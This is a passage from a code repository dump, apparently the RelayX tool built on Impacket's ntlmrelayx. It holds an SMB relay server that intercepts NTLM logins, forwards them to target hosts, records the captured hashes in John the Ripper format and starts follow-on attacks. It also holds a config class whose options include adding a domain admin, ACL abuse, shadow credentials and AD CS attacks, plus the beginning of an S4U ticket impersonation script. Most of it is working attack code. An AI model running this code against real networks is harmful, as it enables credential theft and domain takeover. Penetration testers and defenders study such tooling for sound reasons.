struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: 230 | # AUTH packet 231 | blob = SPNEGO_NegTokenResp(securityBlob) 232 | token = blob['ResponseToken'] 233 | else: 234 | # No GSSAPI stuff, raw NTLMSSP 235 | rawNTLM = True 236 | token = securityBlob 237 | 238 | # Here we only handle NTLMSSP, depending on what stage of the 239 | # authentication we are, we act on it 240 | messageType = struct.unpack(' 0: 361 | respSMBCommand['Buffer'] = respToken.getData() 362 | else: 363 | respSMBCommand['Buffer'] = '' 364 | 365 | smbServer.setConnectionData(connId, connData) 366 | 367 | return [respSMBCommand], None, errorCode 368 | 369 | def smb2TreeConnect(self, connId, smbServer, recvPacket): 370 | connData = smbServer.getConnectionData(connId) 371 | 372 | authenticateMessage = connData['AUTHENTICATE_MESSAGE'] 373 | 374 | self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), 375 | authenticateMessage['user_name'].decode ('utf-16le'))).upper () 376 | 377 | # Uncommenting this will stop at the first connection relayed and won't relaying until all targets 378 | # are processed. There might be a use case for this 379 | #if 'relayToHost' in connData: 380 | # # Connection already relayed, let's just answer the request (that will return object not found) 381 | # return self.origsmb2TreeConnect(connId, smbServer, recvPacket) 382 | 383 | try: 384 | if self.config.mode.upper () == 'REFLECTION': 385 | self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) 386 | if self.authUser == '/': 387 | LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % 388 | (connId, connData['ClientIP'])) 389 | return self.origsmb2TreeConnect (connId, smbServer, recvPacket) 390 | self.target = self.targetprocessor.getTarget(identity = self.authUser) 391 | if self.target is None: 392 | # No more targets to process, just let the victim to fail later 393 | LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % 394 | (connId, self.authUser, connData['ClientIP'])) 395 | return self.origsmb2TreeConnect (connId, smbServer, recvPacket) 396 | 397 | LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, 398 | connData['ClientIP'], self.target.scheme, self.target.netloc)) 399 | 400 | if self.config.mode.upper() == 'REFLECTION': 401 | # Force standard security when doing reflection 402 | LOG.debug("Downgrading to standard security") 403 | extSec = False 404 | #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 405 | else: 406 | extSec = True 407 | # Init the correct client for our target 408 | client = self.init_client(extSec) 409 | except Exception as e: 410 | LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) 411 | self.targetprocessor.logTarget(self.target) 412 | else: 413 | connData['relayToHost'] = True 414 | connData['Authenticated'] = False 415 | del (connData['NEGOTIATE_MESSAGE']) 416 | del (connData['CHALLENGE_MESSAGE']) 417 | del (connData['AUTHENTICATE_MESSAGE']) 418 | connData['SMBClient'] = client 419 | connData['EncryptionKey'] = client.getStandardSecurityChallenge() 420 | smbServer.setConnectionData(connId, connData) 421 | 422 | respPacket = smb3.SMB2Packet() 423 | respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR 424 | respPacket['Status'] = STATUS_SUCCESS 425 | respPacket['CreditRequestResponse'] = 1 426 | respPacket['Command'] = recvPacket['Command'] 427 | respPacket['SessionID'] = connData['Uid'] 428 | respPacket['Reserved'] = recvPacket['Reserved'] 429 | respPacket['MessageID'] = recvPacket['MessageID'] 430 | respPacket['TreeID'] = recvPacket['TreeID'] 431 | 432 | respSMBCommand = smb3.SMB2TreeConnect_Response() 433 | 434 | # This is the key, force the client to reconnect. 435 | # It will loop until all targets are processed for this user 436 | errorCode = STATUS_NETWORK_SESSION_EXPIRED 437 | 438 | 439 | respPacket['Status'] = errorCode 440 | respSMBCommand['Capabilities'] = 0 441 | respSMBCommand['MaximalAccess'] = 0x000f01ff 442 | 443 | respPacket['Data'] = respSMBCommand 444 | 445 | # Sign the packet if needed 446 | if connData['SignatureEnabled']: 447 | smbServer.signSMBv2(respPacket, connData['SigningSessionKey']) 448 | 449 | smbServer.setConnectionData(connId, connData) 450 | 451 | return None, [respPacket], errorCode 452 | 453 | ################################################################################ 454 | 455 | ### SMBv1 Part ################################################################# 456 | def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): 457 | connData = smbServer.getConnectionData(connId, checkStatus = False) 458 | if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: 459 | if self.config.mode.upper() == 'REFLECTION': 460 | # Force standard security when doing reflection 461 | LOG.debug("Downgrading to standard security") 462 | recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 463 | 464 | return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) 465 | ############################################################# 466 | 467 | def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): 468 | 469 | connData = smbServer.getConnectionData(connId, checkStatus = False) 470 | 471 | ############################################################# 472 | # SMBRelay 473 | # Are we ready to relay or should we just do local auth? 474 | if 'relayToHost' not in connData: 475 | # Just call the original SessionSetup 476 | return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) 477 | 478 | # We have confirmed we want to relay to the target host. 479 | respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 480 | 481 | if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: 482 | # Extended security. Here we deal with all SPNEGO stuff 483 | respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() 484 | respData = smb.SMBSessionSetupAndX_Extended_Response_Data() 485 | sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) 486 | sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() 487 | sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] 488 | sessionSetupData.fromString(SMBCommand['Data']) 489 | connData['Capabilities'] = sessionSetupParameters['Capabilities'] 490 | 491 | rawNTLM = False 492 | if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: 493 | # If there no GSSAPI ID, it must be an AUTH packet 494 | blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) 495 | token = blob['ResponseToken'] 496 | else: 497 | # NEGOTIATE packet 498 | blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) 499 | token = blob['MechToken'] 500 | 501 | # Here we only handle NTLMSSP, depending on what stage of the 502 | # authentication we are, we act on it 503 | messageType = struct.unpack('> 16 575 | packet['ErrorClass'] = errorCode & 0xff 576 | 577 | LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) 578 | 579 | #Log this target as processed for this client 580 | self.targetprocessor.logTarget(self.target) 581 | 582 | client.killConnection() 583 | 584 | return None, [packet], errorCode 585 | else: 586 | # We have a session, create a thread and do whatever we want 587 | lock = config.get_lock() 588 | if lock: 589 | return 590 | LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) 591 | config.set_lock(True) 592 | 593 | # Log this target as processed for this client 594 | self.targetprocessor.logTarget(self.target, True, self.authUser) 595 | 596 | ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 597 | authenticateMessage['user_name'], 598 | authenticateMessage['domain_name'], 599 | authenticateMessage['lanman'], authenticateMessage['ntlm']) 600 | client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 601 | 602 | if self.server.getJTRdumpPath() != '': 603 | writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 604 | self.server.getJTRdumpPath()) 605 | 606 | self.do_attack(client) 607 | # Now continue with the server 608 | ############################################################# 609 | 610 | respToken = SPNEGO_NegTokenResp() 611 | # accept-completed 612 | respToken['NegState'] = b'\x00' 613 | 614 | # Done with the relay for now. 615 | connData['Authenticated'] = True 616 | del(connData['relayToHost']) 617 | 618 | # Status SUCCESS 619 | errorCode = STATUS_SUCCESS 620 | # Let's store it in the connection data 621 | connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 622 | else: 623 | raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 624 | 625 | respParameters['SecurityBlobLength'] = len(respToken) 626 | 627 | respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 628 | respData['SecurityBlob'] = respToken.getData() 629 | 630 | else: 631 | # Process Standard Security 632 | #TODO: Fix this for other protocols than SMB [!] 633 | respParameters = smb.SMBSessionSetupAndXResponse_Parameters() 634 | respData = smb.SMBSessionSetupAndXResponse_Data() 635 | sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) 636 | sessionSetupData = smb.SMBSessionSetupAndX_Data() 637 | sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] 638 | sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] 639 | sessionSetupData.fromString(SMBCommand['Data']) 640 | 641 | client = connData['SMBClient'] 642 | _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) 643 | 644 | if errorCode != STATUS_SUCCESS: 645 | # Let's return what the target returned, hope the client connects back again 646 | packet = smb.NewSMBPacket() 647 | packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS 648 | packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY 649 | packet['Command'] = recvPacket['Command'] 650 | packet['Pid'] = recvPacket['Pid'] 651 | packet['Tid'] = recvPacket['Tid'] 652 | packet['Mid'] = recvPacket['Mid'] 653 | packet['Uid'] = recvPacket['Uid'] 654 | packet['Data'] = b'\x00\x00\x00' 655 | packet['ErrorCode'] = errorCode >> 16 656 | packet['ErrorClass'] = errorCode & 0xff 657 | 658 | #Log this target as processed for this client 659 | self.targetprocessor.logTarget(self.target) 660 | 661 | # Finish client's connection 662 | #client.killConnection() 663 | 664 | return None, [packet], errorCode 665 | else: 666 | # We have a session, create a thread and do whatever we want 667 | self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() 668 | lock = config.get_lock() 669 | if lock: 670 | return 671 | LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) 672 | config.set_lock(True) 673 | # Log this target as processed for this client 674 | self.targetprocessor.logTarget(self.target, True, self.authUser) 675 | 676 | ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], 677 | sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) 678 | client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 679 | 680 | if self.server.getJTRdumpPath() != '': 681 | writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 682 | self.server.getJTRdumpPath()) 683 | 684 | # Done with the relay for now. 685 | connData['Authenticated'] = True 686 | del(connData['relayToHost']) 687 | self.do_attack(client) 688 | # Now continue with the server 689 | ############################################################# 690 | 691 | respData['NativeOS'] = smbServer.getServerOS() 692 | respData['NativeLanMan'] = smbServer.getServerOS() 693 | respSMBCommand['Parameters'] = respParameters 694 | respSMBCommand['Data'] = respData 695 | 696 | 697 | smbServer.setConnectionData(connId, connData) 698 | 699 | return [respSMBCommand], None, errorCode 700 | 701 | def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): 702 | connData = smbServer.getConnectionData(connId) 703 | 704 | authenticateMessage = connData['AUTHENTICATE_MESSAGE'] 705 | self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), 706 | authenticateMessage['user_name'].decode ('utf-16le'))).upper () 707 | 708 | # Uncommenting this will stop at the first connection relayed and won't relaying until all targets 709 | # are processed. There might be a use case for this 710 | #if 'relayToHost' in connData: 711 | # # Connection already relayed, let's just answer the request (that will return object not found) 712 | # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) 713 | 714 | try: 715 | if self.config.mode.upper () == 'REFLECTION': 716 | self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) 717 | if self.authUser == '/': 718 | LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % 719 | (connId, connData['ClientIP'])) 720 | return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) 721 | self.target = self.targetprocessor.getTarget(identity = self.authUser) 722 | if self.target is None: 723 | # No more targets to process, just let the victim to fail later 724 | LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % 725 | (connId, self.authUser, connData['ClientIP'])) 726 | return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) 727 | 728 | LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser, 729 | connData['ClientIP'], self.target.scheme, self.target.netloc)) 730 | 731 | if self.config.mode.upper() == 'REFLECTION': 732 | # Force standard security when doing reflection 733 | LOG.debug("Downgrading to standard security") 734 | extSec = False 735 | recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 736 | else: 737 | extSec = True 738 | # Init the correct client for our target 739 | client = self.init_client(extSec) 740 | except Exception as e: 741 | LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) 742 | self.targetprocessor.logTarget(self.target) 743 | else: 744 | connData['relayToHost'] = True 745 | connData['Authenticated'] = False 746 | del (connData['NEGOTIATE_MESSAGE']) 747 | del (connData['CHALLENGE_MESSAGE']) 748 | del (connData['AUTHENTICATE_MESSAGE']) 749 | connData['SMBClient'] = client 750 | connData['EncryptionKey'] = client.getStandardSecurityChallenge() 751 | smbServer.setConnectionData(connId, connData) 752 | 753 | resp = smb.NewSMBPacket() 754 | resp['Flags1'] = smb.SMB.FLAGS1_REPLY 755 | resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ 756 | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE 757 | 758 | resp['Tid'] = recvPacket['Tid'] 759 | resp['Mid'] = recvPacket['Mid'] 760 | resp['Pid'] = connData['Pid'] 761 | 762 | respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) 763 | respParameters = smb.SMBTreeConnectAndXResponse_Parameters() 764 | respData = smb.SMBTreeConnectAndXResponse_Data() 765 | 766 | treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) 767 | 768 | if treeConnectAndXParameters['Flags'] & 0x8: 769 | respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() 770 | 771 | treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) 772 | treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] 773 | treeConnectAndXData.fromString(SMBCommand['Data']) 774 | 775 | ## Process here the request, does the share exist? 776 | UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) 777 | 778 | # Is this a UNC? 779 | if ntpath.ismount(UNCOrShare): 780 | path = UNCOrShare.split('\\')[3] 781 | else: 782 | path = ntpath.basename(UNCOrShare) 783 | 784 | # This is the key, force the client to reconnect. 785 | # It will loop until all targets are processed for this user 786 | errorCode = STATUS_NETWORK_SESSION_EXPIRED 787 | resp['ErrorCode'] = errorCode >> 16 788 | resp['_reserved'] = 0o3 789 | resp['ErrorClass'] = errorCode & 0xff 790 | 791 | if path == 'IPC$': 792 | respData['Service'] = 'IPC' 793 | else: 794 | respData['Service'] = path 795 | respData['PadLen'] = 0 796 | respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) 797 | 798 | respSMBCommand['Parameters'] = respParameters 799 | respSMBCommand['Data'] = respData 800 | 801 | resp['Uid'] = connData['Uid'] 802 | resp.addCommand(respSMBCommand) 803 | smbServer.setConnectionData(connId, connData) 804 | 805 | return None, [resp], errorCode 806 | ################################################################################ 807 | 808 | #Initialize the correct client for the relay target 809 | def init_client(self,extSec): 810 | if self.target.scheme.upper() in self.config.protocolClients: 811 | client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec) 812 | client.initConnection() 813 | else: 814 | raise Exception('Protocol Client for %s not found!' % self.target.scheme) 815 | 816 | 817 | return client 818 | 819 | def do_ntlm_negotiate(self,client,token): 820 | #Since the clients all support the same operations there is no target protocol specific code needed for now 821 | return client.sendNegotiate(token) 822 | 823 | def do_ntlm_auth(self,client,SPNEGO_token,challenge): 824 | #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB 825 | clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge) 826 | 827 | return clientResponse, errorCode 828 | 829 | def do_attack(self,client): 830 | #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties 831 | # Check if SOCKS is enabled and if we support the target scheme 832 | if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes: 833 | if self.config.runSocks is True: 834 | # Pass all the data to the socksplugins proxy 835 | activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(), 836 | self.authUser, client, client.sessionData)) 837 | return 838 | 839 | # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks 840 | if self.target.scheme.upper() in self.config.attacks: 841 | # We have an attack.. go for it 842 | clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser) 843 | clientThread.start() 844 | else: 845 | LOG.error('No attack configured for %s' % self.target.scheme.upper()) 846 | 847 | def _start(self): 848 | self.server.daemon_threads=True 849 | self.server.serve_forever() 850 | LOG.info('Shutting down SMB Server') 851 | self.server.server_close() 852 | 853 | def run(self): 854 | LOG.info("Setting up SMB Server") 855 | self._start() 856 | 857 | -------------------------------------------------------------------------------- /comm/ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /comm/ntlmrelayx/utils/config.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Config utilities 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Configuration class which holds the config specified on the 14 | # command line, this can be passed to the tools' servers and clients 15 | 16 | from impacket.examples.utils import parse_credentials 17 | 18 | 19 | class NTLMRelayxConfig: 20 | def __init__(self): 21 | 22 | self.daemon = True 23 | 24 | # Set the value of the interface ip address 25 | self.interfaceIp = None 26 | 27 | self.listeningPort = None 28 | 29 | self.domainIp = None 30 | 31 | self.machineAccount = None 32 | self.machineHashes = None 33 | self.target = None 34 | self.mode = None 35 | self.redirecthost = None 36 | self.outputFile = None 37 | self.attacks = None 38 | self.lootdir = None 39 | self.randomtargets = False 40 | self.encoding = None 41 | self.ipv6 = False 42 | self.remove_mic = False 43 | 44 | self.command = None 45 | 46 | # WPAD options 47 | self.serve_wpad = False 48 | self.wpad_host = None 49 | self.wpad_auth_num = 0 50 | self.smb2support = False 51 | 52 | # WPAD options 53 | self.serve_wpad = False 54 | self.wpad_host = None 55 | self.wpad_auth_num = 0 56 | self.smb2support = False 57 | 58 | # SMB options 59 | self.exeFile = None 60 | self.interactive = False 61 | self.enumLocalAdmins = False 62 | self.SMBServerChallenge = None 63 | 64 | # RPC options 65 | self.rpc_mode = None 66 | self.rpc_use_smb = False 67 | self.auth_smb = '' 68 | self.smblmhash = None 69 | self.smbnthash = None 70 | self.port_smb = 445 71 | 72 | # LDAP options 73 | self.dumpdomain = True 74 | self.addda = True 75 | self.aclattack = True 76 | self.validateprivs = True 77 | self.escalateuser = None 78 | 79 | # MSSQL options 80 | self.queries = [] 81 | 82 | # Registered protocol clients 83 | self.protocolClients = {} 84 | 85 | # SOCKS options 86 | self.runSocks = False 87 | self.socksServer = None 88 | 89 | # HTTP options 90 | self.remove_target = False 91 | 92 | # WebDAV options 93 | self.serve_image = False 94 | 95 | # AD CS attack options 96 | self.isADCSAttack = False 97 | self.template = None 98 | 99 | # shadow Credential Attack 100 | self.shadowcredential = False 101 | self.kdc = '' 102 | self.userDomain = '' 103 | 104 | def setSMBChallenge(self, value): 105 | self.SMBServerChallenge = value 106 | 107 | def setSMB2Support(self, value): 108 | self.smb2support = value 109 | 110 | def setProtocolClients(self, clients): 111 | self.protocolClients = clients 112 | 113 | def setInterfaceIp(self, ip): 114 | self.interfaceIp = ip 115 | 116 | def setListeningPort(self, port): 117 | self.listeningPort = port 118 | 119 | def setRunSocks(self, socks, server): 120 | self.runSocks = socks 121 | self.socksServer = server 122 | 123 | def setOutputFile(self, outputFile): 124 | self.outputFile = outputFile 125 | 126 | def setTargets(self, target): 127 | self.target = target 128 | 129 | def setExeFile(self, filename): 130 | self.exeFile = filename 131 | 132 | def setCommand(self, command): 133 | self.command = command 134 | 135 | def setEnumLocalAdmins(self, enumLocalAdmins): 136 | self.enumLocalAdmins = enumLocalAdmins 137 | 138 | def setEncoding(self, encoding): 139 | self.encoding = encoding 140 | 141 | def setMode(self, mode): 142 | self.mode = mode 143 | 144 | def setAttacks(self, attacks): 145 | self.attacks = attacks 146 | 147 | def setLootdir(self, lootdir): 148 | self.lootdir = lootdir 149 | 150 | def setRedirectHost(self, redirecthost): 151 | self.redirecthost = redirecthost 152 | 153 | def setDomainAccount(self, machineAccount, machineHashes, domainIp): 154 | # Don't set this if we're not exploiting it 155 | if not self.remove_target: 156 | return 157 | if machineAccount is None or machineHashes is None or domainIp is None: 158 | raise Exception("You must specify machine-account/hashes/domain all together!") 159 | self.machineAccount = machineAccount 160 | self.machineHashes = machineHashes 161 | self.domainIp = domainIp 162 | 163 | def setRandomTargets(self, randomtargets): 164 | self.randomtargets = randomtargets 165 | 166 | def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, sid): 167 | self.dumpdomain = dumpdomain 168 | self.addda = addda 169 | self.aclattack = aclattack 170 | self.validateprivs = validateprivs 171 | self.escalateuser = escalateuser 172 | self.addcomputer = addcomputer 173 | self.delegateaccess = delegateaccess 174 | self.dumplaps = dumplaps 175 | self.dumpgmsa = dumpgmsa 176 | self.sid = sid 177 | 178 | def setMSSQLOptions(self, queries): 179 | self.queries = queries 180 | 181 | def setRPCOptions(self, rpc_mode, rpc_use_smb, auth_smb, hashes_smb, rpc_smb_port): 182 | self.rpc_mode = rpc_mode 183 | self.rpc_use_smb = rpc_use_smb 184 | self.smbdomain, self.smbuser, self.smbpass = parse_credentials(auth_smb) 185 | 186 | if hashes_smb is not None: 187 | self.smblmhash, self.smbnthash = hashes_smb.split(':') 188 | else: 189 | self.smblmhash = '' 190 | self.smbnthash = '' 191 | 192 | self.rpc_smb_port = rpc_smb_port 193 | 194 | def setInteractive(self, interactive): 195 | self.interactive = interactive 196 | 197 | def setIMAPOptions(self, keyword, mailbox, dump_all, dump_max): 198 | self.keyword = keyword 199 | self.mailbox = mailbox 200 | self.dump_all = dump_all 201 | self.dump_max = dump_max 202 | 203 | def setIPv6(self, use_ipv6): 204 | self.ipv6 = use_ipv6 205 | 206 | def setWpadOptions(self, wpad_host, wpad_auth_num): 207 | if wpad_host is not None: 208 | self.serve_wpad = True 209 | self.wpad_host = wpad_host 210 | self.wpad_auth_num = wpad_auth_num 211 | 212 | def setExploitOptions(self, remove_mic, remove_target): 213 | self.remove_mic = remove_mic 214 | self.remove_target = remove_target 215 | 216 | def setWebDAVOptions(self, serve_image): 217 | self.serve_image = serve_image 218 | 219 | def setADCSOptions(self, template): 220 | self.template = template 221 | 222 | def setIsADCSAttack(self, isADCSAttack): 223 | self.isADCSAttack = isADCSAttack -------------------------------------------------------------------------------- /comm/ticket/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ridter/RelayX/de3cb3b48d70781628d69726c8c7c551705b19d6/comm/ticket/__init__.py -------------------------------------------------------------------------------- /comm/ticket/getST.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache 12 | # If the account has constrained delegation (with protocol transition) privileges you will be able to use 13 | # the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to 14 | # request the ticket.) 15 | # 16 | # Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) 17 | # 18 | # Examples: 19 | # ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user 20 | # or 21 | # If you have tickets cached (run klist to verify) the script will use them 22 | # ./getST.py -k -spn cifs/contoso-dc contoso.com/user 23 | # Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets 24 | # by default. 25 | # 26 | # Also, if the account is configured with constrained delegation (with protocol transition) you can request 27 | # service tickets for other users, assuming the target SPN is allowed for delegation: 28 | # ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user 29 | # 30 | # The output of this script will be a service ticket for the Administrator user. 31 | # 32 | # Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. 33 | # 34 | # Author: 35 | # Alberto Solino (@agsolino) 36 | # 37 | 38 | from __future__ import division 39 | from __future__ import print_function 40 | import argparse 41 | import datetime 42 | import logging 43 | import os 44 | import random 45 | import struct 46 | import sys 47 | import config 48 | from binascii import hexlify, unhexlify 49 | from six import b 50 | 51 | from pyasn1.codec.der import decoder, encoder 52 | from pyasn1.type.univ import noValue 53 | 54 | from impacket import version 55 | from impacket.examples import logger 56 | from impacket.examples.utils import parse_credentials 57 | from impacket.krb5 import constants 58 | from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ 59 | Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart 60 | from impacket.krb5.ccache import CCache 61 | from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype 62 | from impacket.krb5.constants import TicketFlags, encodeFlags 63 | from impacket.krb5.kerberosv5 import getKerberosTGS 64 | from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive 65 | from impacket.krb5.types import Principal, KerberosTime, Ticket 66 | from impacket.ntlm import compute_nthash 67 | from impacket.winregistry import hexdump 68 | 69 | 70 | class GETST: 71 | def __init__(self, target, password, domain, options): 72 | self.__password = password 73 | self.__user= target 74 | self.__domain = domain 75 | self.__lmhash = '' 76 | self.__nthash = '' 77 | self.__aesKey = options.aesKey 78 | self.__options = options 79 | self.__kdcHost = options.dc_ip 80 | self.__force_forwardable = options.force_forwardable 81 | self.__saveFileName = None 82 | if options.hashes is not None: 83 | self.__lmhash, self.__nthash = options.hashes.split(':') 84 | 85 | def saveTicket(self, ticket, sessionKey): 86 | logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) 87 | ccache = CCache() 88 | 89 | ccache.fromTGS(ticket, sessionKey, sessionKey) 90 | ccache.saveFile(self.__saveFileName + '.ccache') 91 | config.set_ccache(self.__saveFileName + '.ccache') 92 | 93 | def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): 94 | decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] 95 | # Extract the ticket from the TGT 96 | ticket = Ticket() 97 | ticket.from_asn1(decodedTGT['ticket']) 98 | 99 | apReq = AP_REQ() 100 | apReq['pvno'] = 5 101 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 102 | 103 | opts = list() 104 | apReq['ap-options'] = constants.encodeFlags(opts) 105 | seq_set(apReq,'ticket', ticket.to_asn1) 106 | 107 | authenticator = Authenticator() 108 | authenticator['authenticator-vno'] = 5 109 | authenticator['crealm'] = str(decodedTGT['crealm']) 110 | 111 | clientName = Principal() 112 | clientName.from_asn1( decodedTGT, 'crealm', 'cname') 113 | 114 | seq_set(authenticator, 'cname', clientName.components_to_asn1) 115 | 116 | now = datetime.datetime.utcnow() 117 | authenticator['cusec'] = now.microsecond 118 | authenticator['ctime'] = KerberosTime.to_asn1(now) 119 | 120 | if logging.getLogger().level == logging.DEBUG: 121 | logging.debug('AUTHENTICATOR') 122 | print(authenticator.prettyPrint()) 123 | print ('\n') 124 | 125 | encodedAuthenticator = encoder.encode(authenticator) 126 | 127 | # Key Usage 7 128 | # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes 129 | # TGS authenticator subkey), encrypted with the TGS session 130 | # key (Section 5.5.1) 131 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) 132 | 133 | apReq['authenticator'] = noValue 134 | apReq['authenticator']['etype'] = cipher.enctype 135 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 136 | 137 | encodedApReq = encoder.encode(apReq) 138 | 139 | tgsReq = 